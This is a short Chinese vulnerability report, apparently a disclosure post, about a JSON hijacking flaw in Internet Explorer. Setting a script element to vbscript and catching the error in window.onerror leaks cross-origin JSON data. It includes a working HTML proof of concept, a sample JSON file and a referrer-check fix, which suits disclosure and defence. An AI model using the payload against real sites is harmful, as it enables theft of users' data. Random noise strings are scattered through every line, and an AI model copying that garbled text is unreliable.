简要描述:! y7 y' w f0 F# o) G) R! J) \+ a1 D% c
0 a |, s5 R. r! B8 {8 F由于某些资源容器对数据处理不当导致json劫持漏洞.( z( f' O5 k- x+ i
详细说明:9 A, {/ e. U7 A5 y2 @
由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 Y* w' S" u3 j) `
<script language=vbscript></script>% v; `6 P2 K3 ^7 s" Y
9 a& N( w% J! N
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
% R" S9 k" {+ t g漏洞证明:
9 m8 |) D) u# I% w5 r<script>
+ R8 o' J" ?: ]' Twindow.onerror=function(_){/ F" D) e% ~2 G) l
alert(_)
' Y. H x9 y5 O* L}7 e! c) n( @! D- _# b2 A, J! P4 P3 U
</script>4 }& Z* F- o7 R
<script language=vbscript src=1.json></script>
; X3 n! @1 g9 D# U/ u' N 7 e, Q9 K' o; y u% J9 D; T& U. p! H
; l* P4 H9 [% k4 p- F! C% W
1.json:
6 Y* Z6 w4 R' I: n3 B8 \[{"name":"sogili","age":19}]6 b0 o, }. _1 j" H7 [/ s
修复方案:
) q- b9 F! j9 M网站业务对于这个问题可以通过验证referrer是否为同源来防御 |